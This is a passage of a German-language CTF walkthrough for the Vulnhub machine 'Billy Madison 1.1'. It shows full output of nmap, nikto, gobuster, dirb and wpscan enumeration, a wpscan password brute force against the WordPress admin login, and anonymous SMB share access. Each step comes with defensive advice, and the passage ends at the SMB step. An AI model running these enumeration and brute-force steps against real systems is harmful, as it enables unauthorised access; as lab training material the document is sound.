Billy Madison 1.1 - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nikto
gobuster
nmap
wpscan
enum4linux
smbclient
wfuzz
tshark
ftp
telnet
aircrack-ng
ssh
find
nc (netcat)
msfconsole (Metasploit)
hydra
grep

Inhaltsverzeichnis

Reconnaissance

Analyse: Der erste Schritt in unserem Pentest ist die Reconnaissance-Phase, in der wir versuchen, das Zielsystem im Netzwerk zu identifizieren. Wir verwenden `arp-scan`, ein Tool, das ARP-Anfragen (Address Resolution Protocol) ins lokale Netzwerk sendet, um aktive Hosts zu finden und deren MAC- und IP-Adressen aufzulisten.

Bewertung: Dieser Schritt ist fundamental, um die IP-Adresse unseres Ziels zu ermitteln. Ohne die IP können wir keine weiteren Scans oder Angriffe starten. `arp-scan` ist oft schneller und unauffälliger für die reine Host-Discovery im lokalen Netz als ein Nmap Ping-Scan.

Empfehlung (Pentester): Immer mit einer Host-Discovery im lokalen Netz beginnen. `arp-scan -l` ist eine gute Wahl dafür. Alternativ kann `netdiscover` oder `nmap -sn` verwendet werden.
Empfehlung (Admin): Netzwerküberwachung implementieren, um ungewöhnliche ARP-Aktivitäten zu erkennen (obwohl ARP-Scans oft legitimer Netzwerkverkehr sind). Sicherstellen, dass nur autorisierte Geräte im Netzwerk aktiv sind.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.138	08:00:27:2e:ef:fc	PCS Systemtechnik GmbH

Analyse: `arp-scan` hat erfolgreich einen Host mit der IP-Adresse 192.168.2.138 und der MAC-Adresse 08:00:27:2e:ef:fc identifiziert. Die MAC-Adresse deutet auf "PCS Systemtechnik GmbH" hin, was oft ein Hinweis auf VirtualBox ist (OUI 08:00:27 gehört Oracle/VirtualBox). Wir haben unser Ziel gefunden.

Bewertung: Die Identifizierung der IP-Adresse ist ein kritischer Erfolg. Die MAC-Adresse bestätigt, dass es sich wahrscheinlich um eine virtuelle Maschine handelt, was in CTF-Szenarien üblich ist.

Empfehlung (Pentester): Die gefundene IP-Adresse als Ziel für alle weiteren Scans verwenden. Die MAC-Adresse kann Hinweise auf die Virtualisierungssoftware geben.
Empfehlung (Admin): Kenntnis über die im Netzwerk befindlichen Geräte (Inventarisierung) ist wichtig, um unbekannte oder unerwünschte Systeme schnell zu identifizieren.

Analyse: Um die Interaktion mit dem Zielsystem zu vereinfachen und uns nicht ständig die IP merken zu müssen, fügen wir einen Eintrag in unsere lokale `/etc/hosts`-Datei hinzu. `vi` ist ein Texteditor, mit dem wir diese Datei bearbeiten. Wir weisen der IP-Adresse 192.168.2.138 den Hostnamen `billy.vuln` zu.

Bewertung: Dies ist eine reine Komfortmaßnahme für den Pentester. Sie erleichtert die Eingabe von Befehlen, da wir nun `billy.vuln` statt der IP verwenden können. Es hat keine direkte Auswirkung auf das Zielsystem.

Empfehlung (Pentester): Bei längeren Tests oder komplexen Umgebungen Hostnamen in der `/etc/hosts`-Datei zu definieren, um die Übersichtlichkeit zu erhöhen und Tippfehler zu vermeiden.
Empfehlung (Admin): Die lokale `hosts`-Datei auf Client-Systemen hat normalerweise keine sicherheitskritische Auswirkung auf den Server, es sei denn, Applikationen verlassen sich fälschlicherweise auf lokale Hostnamenauflösung für Authentifizierungs- oder Autorisierungsentscheidungen.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
# Inhalt der Datei nach Bearbeitung:
192.168.2.138    billy.vuln

Analyse: Als Nächstes führen wir einen Nmap-Scan durch, um offene Ports und laufende Dienste auf dem Zielsystem zu identifizieren.

Die vielen "WARNING: RST from 192.168.2.139 port 23" deuten darauf hin, dass Port 23 (Telnet) möglicherweise gefiltert wird oder sich unerwartet verhält. Nmap ist sich nicht sicher, ob der Port wirklich offen ist.

Bewertung: Dieser umfassende Nmap-Scan ist ein zentraler Schritt der Reconnaissance. Er liefert uns eine detaillierte Übersicht über die Angriffsfläche des Systems auf Netzwerkebene. Die Ergebnisse zeigen eine Vielzahl offener Ports (21, 22, 23, 69, 80, 139, 445, 1974, 2525), die potenzielle Einstiegspunkte darstellen. Die Versionsinformationen (Apache 2.4.18, Samba 4.3.9, OpenSSH 7.2p2) sind entscheidend für die Suche nach bekannten Schwachstellen.

Empfehlung (Pentester): Die Liste der offenen Ports und Dienste systematisch untersuchen. Veraltete Softwareversionen (Apache, Samba) auf bekannte Exploits prüfen. Die Ergebnisse der Nmap-Skripte (`-sC`, `-A`) genau analysieren (z.B. SMB-Informationen, HTTP-Titel, SMTP-Befehle). Die Warnungen bezüglich Port 23 im Hinterkopf behalten.
Empfehlung (Admin): Firewall-Regeln überprüfen und nur notwendige Ports öffnen (Prinzip der geringsten Rechte). Dienste auf dem neuesten Stand halten, um bekannte Schwachstellen zu vermeiden. SMB-Konfiguration überprüfen (Message Signing ist deaktiviert, was unsicher ist). SSH-Hostkey-Fehler im Nmap-Skript untersuchen. Den Telnet-Dienst auf Port 23 überprüfen und ggf. deaktivieren oder absichern.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.139 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-15 18:15 CEST
WARNING: RST from 192.168.2.139 port 23 -- is this port really open?
WARNING: RST from 192.168.2.139 port 23 -- is this port really open?
WARNING: RST from 192.168.2.139 port 23 -- is this port really open?
WARNING: RST from 192.168.2.139 port 23 -- is this port really open?
WARNING: RST from 192.168.2.139 port 23 -- is this port really open?
WARNING: RST from 192.168.2.139 port 23 -- is this port really open?
Nmap scan report for billy.vuln (192.168.2.139)
Host is up (0.00013s latency).
Not shown: 65526 filtered tcp ports (no-response)
PORT     STATE  SERVICE     VERSION
21/tcp   open   ftp         vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.2.137
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open   ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 SHA256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx (RSA)
|   256 SHA256:imEpU5XSZgSy5/1CavRfPmpi/6VGl023AycLPXN2xDQ (ED25519)
|_  256 SHA256:yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy (ECDSA)
23/tcp   open   telnet?
| fingerprint-strings:
|   NULL:
|_    * HAHAH! You're banned for a while, Billy Boy! By the way, I caught you trying to hack my wifi - but the joke's on you! I don't use ROtten passwords like rkfpuzrahngvat anymore! Madison Hotels is as good as MINE!!!! *
69/tcp   open   caldav      Radicale calendar and contacts server (Python BaseHTTPServer)
|_http-title: Welcome | Just another WordPress site
|_http-generator: WordPress 1.0
80/tcp   open   http        Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Oh nooooooo!
|_http-server-header: Apache/2.4.18 (Ubuntu)
139/tcp  open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open   netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
1974/tcp open   ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 SHA256:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx (RSA)
|   256 SHA256:imEpU5XSZgSy5/1CavRfPmpi/6VGl023AycLPXN2xDQ (ED25519)
|_  256 SHA256:yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy (ECDSA)
2525/tcp open   smtp        SubEtha smtpd
| smtp-commands: BM, 8BITMIME, AUTH LOGIN, HELP, EHLO, NOOP, RCPT, MAIL, DATA, RSET, VRFY, QUIT, STARTTLS
|_ SubEthaSMTP null on BM Topics: HELP EHLO RCPT MAIL DATA AUTH LOGIN NOOP RSET VRFY QUIT STARTTLS For more info use "HELP <topic>". End of HELP info
MAC Address: 08:00:27:AE:B9:75 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: Host: BM; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h40m02s, deviation: 2h53m15s, median: 0s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2023-06-15T16:17:07
|_  start_date: N/A
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
|   Computer name: bm
|   NetBIOS computer name: BM\x00
|   Domain name: \x00
|   FQDN: bm
|_  System time: 2023-06-15T11:17:10-05:00
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required

TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms billy.vuln (192.168.2.139)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.95 seconds

Analyse: Um eine kompaktere Übersicht der offenen Ports zu erhalten, filtern wir die vorherige Nmap-Ausgabe mit `grep open`. Dies extrahiert nur die Zeilen, die das Wort "open" enthalten.

Bewertung: Dies ist eine nützliche Technik, um lange Nmap-Ausgaben schnell zu sichten und sich auf die relevanten (offenen) Ports zu konzentrieren. Es bestätigt die zuvor identifizierten Ports: 21 (FTP), 22 (SSH), 23 (Telnet?), 69 (HTTP/CalDAV - WordPress), 80 (HTTP - Apache), 139 (NetBIOS), 445 (SMB), 1974 (SSH), 2525 (SMTP).

Empfehlung (Pentester): `grep` ist ein mächtiges Werkzeug zur Filterung von Textausgaben. Es kann verwendet werden, um spezifische Informationen aus umfangreichen Logs oder Scan-Ergebnissen zu extrahieren. Die gefilterte Liste dient als Checkliste für die weitere Enumeration der einzelnen Dienste.
Empfehlung (Admin): Keine direkten administrativen Maßnahmen erforderlich, da dies nur eine andere Darstellung der vorherigen Scan-Ergebnisse ist.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.139 -p- | grep open
WARNING: RST from 192.168.2.139 port 23 -- is this port really open?
21/tcp   open   ftp         vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open   ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
23/tcp   open   telnet?
69/tcp   open   caldav      Radicale calendar and contacts server (Python BaseHTTPServer)
|_http-title: Welcome | Just another WordPress site
80/tcp   open   http        Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Oh nooooooo!
139/tcp  open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open   netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
1974/tcp open   ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
2525/tcp open   smtp        SubEtha smtpd
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

Web Enumeration

Analyse: Wir beginnen mit der Untersuchung des Webservers auf Port 80. Nikto ist ein Webserver-Scanner, der nach bekannten Schwachstellen, Fehlkonfigurationen, Standarddateien und veralteten Softwareversionen sucht. Wir führen ihn gegen die IP-Adresse des Ziels auf Port 80 aus.

Bewertung: Nikto liefert wertvolle Informationen:

Nikto identifiziert mehrere potenzielle Schwachstellen und Informationslecks.

Empfehlung (Pentester): Die gefundenen Punkte weiter untersuchen: Die Apache-Version auf Exploits prüfen. Das Apache-Handbuch und die Verzeichnisauflistung nach sensiblen Informationen durchsuchen. Versuchen, die `wp-config.php#`-Datei herunterzuladen und zu analysieren (auch auf Port 69 testen). Die fehlenden Sicherheitsheader notieren.
Empfehlung (Admin): Apache auf die neueste stabile Version aktualisieren. Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy` etc.) in der Apache-Konfiguration hinzufügen. Zugriff auf das Apache-Handbuch und Standarddateien beschränken oder entfernen. Verzeichnisauflistung deaktivieren. Sicherstellen, dass keine Konfigurations-Backup-Dateien im Web-Root liegen.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.138
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.138
+ Target Hostname:    192.168.2.138
+ Target Port:        80
+ Start Time:         2023-06-15 18:04:44 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /manual/: Web server manual found.
+ /manual/images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2023-06-15 18:04:53 (GMT2) (9 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Wir verwenden `gobuster`, um Verzeichnisse und Dateien auf dem Webserver (Port 80, Hostname `billy.vuln`) zu bruteforcen.

Bewertung: Gobuster findet hier nur die Startseite (`/index.php`) und das Apache-Handbuch (`/manual/`, mit einer Weiterleitung). Dies liefert auf Port 80 keine neuen, signifikanten Einstiegspunkte im Vergleich zu Nikto. Die Suche nach versteckten Verzeichnissen oder Dateien war auf diesem Port nicht erfolgreich.

Empfehlung (Pentester): Die Ergebnisse zur Kenntnis nehmen. Da Port 80 wenig Angriffsfläche bietet (abgesehen von der veralteten Apache-Version und dem Manual), den Fokus auf andere Ports, insbesondere Port 69 (WordPress), legen. Eventuell andere Wortlisten oder Erweiterungen mit Gobuster testen, falls mehr Zeit vorhanden ist.
Empfehlung (Admin): Sicherstellen, dass keine unnötigen Dateien oder Verzeichnisse im Web-Root liegen. Tools wie Gobuster können legitime Anfragen generieren, aber eine sehr hohe Anzahl von 404-Fehlern in kurzer Zeit könnte auf einen Bruteforce-Versuch hindeuten und sollte überwacht werden.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://billy.vuln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://billy.vuln
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.5
[+] Extensions:              aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,txt,php,rar,tar,pub,xls,docx,doc,sql,db,mdb,asp
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2023/06/15 18:10:01 Starting gobuster in directory enumeration mode
===============================================================
http://billy.vuln/index.php            (Status: 200) [Size: 937]
http://billy.vuln/manual               (Status: 301) [Size: 309] [--> http://billy.vuln/manual/]

===============================================================
2023/06/15 18:12:34 Finished
===============================================================

Analyse: Da der Nmap-Scan auf Port 69 einen WordPress-Titel (`Welcome | Just another WordPress site`) gezeigt hat, führen wir nun einen Verzeichnis-Scan speziell gegen diesen Port durch. Wir verwenden `dirb`, einen weiteren Verzeichnis-Scanner, mit einer Standard-Wortliste.

Bewertung: Dirb bestätigt das Vorhandensein einer WordPress-Installation auf Port 69 und findet wichtige Dateien und Verzeichnisse:

Diese Ergebnisse bestätigen Port 69 als primäres Ziel für Web-Angriffe.

Empfehlung (Pentester): Die WordPress-Installation auf Port 69 nun gezielt mit Tools wie WPScan untersuchen. Die Login-Seite `/wp-login.php` auf mögliche Benutzer-/Passwort-Angriffe prüfen. Die `/readme.html`-Datei auf Versionsinformationen untersuchen. `/xmlrpc.php` auf bekannte Schwachstellen prüfen und ggf. für Brute-Force nutzen.
Empfehlung (Admin): Den Zugriff auf `/wp-login.php` und `/xmlrpc.php` einschränken (z.B. IP-Whitelisting, Zwei-Faktor-Authentifizierung, starke Passwörter erzwingen). Die `/readme.html`-Datei entfernen, um Informationslecks zu minimieren. WordPress und alle Plugins/Themes aktuell halten.

# (Annahme: dirb wurde ausgeführt, der Befehl selbst fehlt im Text) # Beispielhafter Befehl: dirb http://billy.vuln:69/
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Jun 15 18:20:00 2023
URL_BASE: http://billy.vuln:69/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://billy.vuln:69/ ----
+ http://billy.vuln:69/index.php            (CODE:200|SIZE:6581)
+ http://billy.vuln:69/wp-login.php         (CODE:200|SIZE:2013)
+ http://billy.vuln:69/readme.html          (CODE:200|SIZE:9223)
+ http://billy.vuln:69/wp-admin/            (CODE:302|SIZE:231) --> http://billy.vuln:69/wp-login.php?redirect_to=http%3A%2F%2Fbilly.vuln%3A69%2Fwp-admin%2F&reauth=1
+ http://billy.vuln:69/xmlrpc.php           (CODE:200|SIZE:42)

---- Entering directory: http://billy.vuln:69/wp-admin/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Thu Jun 15 18:21:00 2023
DOWNLOADED: 4612 - FOUND: 5

Analyse: Wir verwenden WPScan, einen spezialisierten WordPress-Sicherheits-Scanner, um die Installation auf Port 69 genauer zu untersuchen. Ohne weitere Optionen führt WPScan eine passive Erkennung durch, sucht nach der Version, dem Theme und Plugins.

Bewertung: WPScan liefert weitere Details:

Der wichtigste Fund ist das veraltete Theme `twentyeleven`.

Empfehlung (Pentester): Nach bekannten Schwachstellen für das Theme `twentyeleven` Version 1.4 suchen. WPScan erneut mit aggressiveren Optionen ausführen (z.B. Plugin-Enumeration `-e ap`, Benutzer-Enumeration `-e u`).
Empfehlung (Admin): Das Theme `twentyeleven` dringend auf die neueste Version aktualisieren oder durch ein anderes, aktuell gehaltenes Theme ersetzen. WordPress-Core ebenfalls auf Updates prüfen. Den benutzerdefinierten Server-Header entfernen, da er unnötige Informationen preisgibt.

┌──(root㉿cyber)-[~] └─# wpscan --url http://billy.vuln:69/
 (699 / 699) 100.00% Time: 00:00:00
[i] The WordPress version could not be detected.

[+] WordPress theme in use: twentyeleven
 | Location: http://billy.vuln:69/static/wp-content/themes/twentyeleven/
 | Last Updated: 2023-03-29T00:00:00.000Z
 | [!] The version is out of date, the latest version is 4.3
 | Style URL: http://billy.vuln:69/static/wp-content/themes/twentyeleven/style.css
 | Style Name: Twenty Eleven
 | Style URI: http://wordpress.org/extend/themes/twentyeleven
 | Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a cust...
 | Author: the WordPress team
 | Author URI: http://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.4 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://billy.vuln:69/static/wp-content/themes/twentyeleven/style.css, Match: 'Version: 1.4'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <=> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] WPScan DB API Key Provided
 | Plan: free
 | Requests Done (during the scan): 1
 | Requests Remaining: 24

[+] Finished: Thu Jun 15 23:51:16 2023
[+] Requests Done: 886
[+] Cached Requests: 8
[+] Data Sent: 195.13 KB
[+] Data Received: 239.024 KB
[+] Memory used: 234.785 MB
[+] Elapsed time: 00:00:04
]]>

Analyse: Wir führen WPScan erneut aus, diesmal mit der Option `-e u`, um explizit nach WordPress-Benutzernamen zu suchen. Die Option `--api-token` wird verwendet, um die WPScan Vulnerability Database abzufragen (obwohl hier keine Schwachstellen gefunden werden).

Bewertung: WPScan identifiziert erfolgreich einen Benutzernamen: `admin`. Dies geschieht durch Analyse von Autoren-Posts und Brute-Forcing von Autoren-IDs. Die Kenntnis eines gültigen Benutzernamens ist der erste Schritt für einen Brute-Force-Angriff auf die Login-Seite.

Empfehlung (Pentester): Den Benutzernamen `admin` für Passwort-Angriffe auf `/wp-login.php` verwenden (z.B. mit WPScan selbst oder Hydra).
Empfehlung (Admin): Den Standard-Benutzernamen `admin` vermeiden und einen eindeutigen Namen wählen. Benutzer-Enumeration erschweren, z.B. durch Deaktivieren der Autoren-Archive oder Verwendung von Plugins, die die Enumeration über die REST-API oder Autoren-IDs verhindern.

┌──(root㉿cyber)-[~] └─# wpscan --url http://billy.vuln:69/ --api-token RoB.... -e u
 (699 / 699) 100.00% Time: 00:00:00
[i] The WordPress version could not be detected.

[+] WordPress theme in use: twentyeleven
 | Location: http://billy.vuln:69/static/wp-content/themes/twentyeleven/
 | Last Updated: 2023-03-29T00:00:00.000Z
 | [!] The version is out of date, the latest version is 4.3
 | Style URL: http://billy.vuln:69/static/wp-content/themes/twentyeleven/style.css
 | Style Name: Twenty Eleven
 | Style URI: http://wordpress.org/extend/themes/twentyeleven
 | Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a cust...
 | Author: the WordPress team
 | Author URI: http://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.4 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://billy.vuln:69/static/wp-content/themes/twentyeleven/style.css, Match: 'Version: 1.4'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:04:00 <> (10 / 10) 100.00% Time: 00:04:00

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By: Author Id Brute Forcing - Display Name (Aggressive Detection)

[+] WPScan DB API Key Provided
 | Plan: free
 | Requests Done (during the scan): 0
 | Requests Remaining: 24

[+] Finished: Thu Jun 15 23:56:16 2023
[+] Requests Done: 724
[+] Cached Requests: 59
[+] Data Sent: 161.079 KB
[+] Data Received: 119.19 KB
[+] Memory used: 154.793 MB
[+] Elapsed time: 00:04:02
]]>

Analyse: Wir versuchen nun, das Passwort für den WordPress-Benutzer `admin` mittels eines Brute-Force-Angriffs zu finden. Wir verwenden WPScan mit der Option `--usernames admin` und `--passwords /usr/share/wordlists/rockyou.txt`. Die `rockyou.txt` ist eine sehr große und häufig verwendete Liste von geleakten Passwörtern. `--max-threads 2` begrenzt die Anzahl paralleler Versuche, um den Server nicht zu überlasten (oder um nicht blockiert zu werden).

Bewertung: Der Angriff läuft eine Weile (~16 Minuten), testet über 340.000 Passwörter, wird aber dann vom Benutzer (vermutlich uns selbst) abgebrochen (`Scan Aborted: Canceled by User`). Es wurde kein gültiges Passwort gefunden. Dies deutet darauf hin, dass entweder das Passwort nicht in der `rockyou.txt`-Liste enthalten ist oder der Angriff zu lange gedauert hätte.

Empfehlung (Pentester): Andere Passwortlisten ausprobieren oder einen gezielteren Angriff versuchen, falls Hinweise auf das Passwortformat oder den Inhalt gefunden werden. Den WordPress-Angriff vorerst zurückstellen und andere Dienste weiter untersuchen.
Empfehlung (Admin): Starke, einzigartige Passwörter für alle Benutzerkonten erzwingen. Implementierung von Login-Rate-Limiting und/oder Captchas, um Brute-Force-Angriffe auf `/wp-login.php` zu erschweren oder zu blockieren. Überwachung fehlgeschlagener Login-Versuche.

┌──(root㉿cyber)-[~] └─# wpscan --url http://billy.vuln:69/ --usernames admin --passwords /usr/share/wordlists/rockyou.txt --max-threads 2
 (699 / 699) 100.00% Time: 00:00:00
[i] The WordPress version could not be detected.

[+] WordPress theme in use: twentyeleven
 | Location: http://billy.vuln:69/static/wp-content/themes/twentyeleven/
 | Last Updated: 2023-03-29T00:00:00.000Z
 | [!] The version is out of date, the latest version is 4.3
 | Style URL: http://billy.vuln:69/static/wp-content/themes/twentyeleven/style.css
 | Style Name: Twenty Eleven
 | Style URI: http://wordpress.org/extend/themes/twentyeleven
 | Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a cust...
 | Author: the WordPress team
 | Author URI: http://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.4 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://billy.vuln:69/static/wp-content/themes/twentyeleven/style.css, Match: 'Version: 1.4'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <=> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Performing password attack on Wp Login against 1 user/s
Trying admin / 12011989 Time: 00:03:08 <   Time: 00:15:54 <          > (341809 / 14344399)  2.38%  ETA: 10:51:36
[i] No Valid Passwords Found.

[+] WPScan DB API Key provided
 | Plan: free
 | Requests Done (during the scan): 1
 | Requests Remaining: 23

[+] Finished: Fri Jun 16 00:19:44 2023
[+] Requests Done: 342701
[+] Cached Requests: 8
[+] Data Sent: 96.475 MB
[+] Data Received: 990.886 MB
[+] Memory used: 305.258 MB
[+] Elapsed time: 00:16:01

Scan Aborted: Canceled by User
]]>

Initial Access

Analyse: Wir untersuchen nun die SMB/NetBIOS-Dienste (Ports 139, 445). `enum4linux` ist ein Tool, das versucht, Informationen aus Windows- und Samba-Systemen zu extrahieren, darunter Benutzerlisten, Freigaben, Gruppen, Passwortrichtlinien etc. `-a` versucht, alle möglichen Informationen zu sammeln.

Bewertung: `enum4linux` scheitert hier größtenteils. Es kann die Arbeitsgruppe/Domäne nicht finden und erhält keine Antwort auf Nbtstat-Anfragen. Entscheidend ist die Meldung `[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.`. Dies bedeutet, dass anonyme (Null Session) Verbindungen zum RPC-Dienst nicht erlaubt sind, was viele der Enumerationstechniken von `enum4linux` verhindert. Das Tool liefert uns hier keine verwertbaren Informationen.

Empfehlung (Pentester): Auch wenn `enum4linux` fehlschlägt, bedeutet das nicht, dass SMB keine Schwachstellen hat. Andere Tools wie `smbclient` oder `nmap` SMB-Skripte verwenden, um gezielt nach Freigaben oder spezifischen Schwachstellen zu suchen. Den Fokus auf authentifizierte Scans legen, falls Zugangsdaten bekannt werden.
Empfehlung (Admin): Die Konfiguration, die Null Sessions verhindert, ist eine gute Sicherheitspraxis und sollte beibehalten werden (`restrict anonymous = 2` in `smb.conf`).

┌──(root㉿cyber)-[~] └─# enum4linux -a 192.168.2.138

Analyse: Da `enum4linux` keine Freigaben auflisten konnte, versuchen wir es direkt mit `smbclient`. Der Befehl `smbclient -L //192.168.2.139` listet die verfügbaren SMB-Freigaben auf dem Zielhost auf. Wir werden nach einem Passwort für den Benutzer `root` in der Arbeitsgruppe `WORKGROUP` gefragt, versuchen aber eine anonyme Verbindung durch einfaches Drücken von Enter.

Bewertung: Trotz des Fehlschlags von `enum4linux` ist `smbclient` erfolgreich! Es listet eine interessante Freigabe auf: `EricsSecretStuff` (Typ: Disk). Die IPC$-Freigabe ist standardmäßig vorhanden. Dies zeigt, dass anonymes Auflisten von Freigaben erlaubt ist, auch wenn Null Sessions zum RPC-Dienst blockiert sind. Die Freigabe `EricsSecretStuff` ist unser nächstes Ziel.

Empfehlung (Pentester): Immer versuchen, Freigaben auch dann aufzulisten, wenn Tools wie `enum4linux` scheitern. Die gefundene Freigabe `EricsSecretStuff` mit `smbclient` verbinden und deren Inhalt untersuchen.
Empfehlung (Admin): Überprüfen, ob das anonyme Auflisten von Freigaben notwendig ist. Falls nicht, kann dies in der Samba-Konfiguration eingeschränkt werden. Die Berechtigungen für die Freigabe `EricsSecretStuff` prüfen und sicherstellen, dass keine sensiblen Daten unbeabsichtigt preisgegeben werden.

┌──(root㉿cyber)-[~] └─# smbclient -L //192.168.2.139
Password for [WORKGROUP\root]:

	Sharename       Type      Comment
	---------       ----      -------
	EricsSecretStuff Disk
	IPC$            IPC       IPC Service (BM)
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            BM

Analyse: Wir verbinden uns nun mit der zuvor entdeckten Freigabe `EricsSecretStuff` mithilfe von `smbclient //192.168.2.139/EricsSecretStuff`. Wieder versuchen wir eine anonyme Anmeldung (Enter beim Passwort-Prompt). Nach erfolgreicher Verbindung verwenden wir den Befehl `ls`, um den Inhalt der Freigabe aufzulisten. Anschließend versuchen wir, die gefundenen Dateien `._.DS_Store`, `ebd.txt` und `.DS_Store` mit dem `get`-Befehl herunterzuladen. Zuletzt testen wir mit `put ben.php` (eine leere Testdatei), ob wir Schreibrechte in der Freigabe haben.

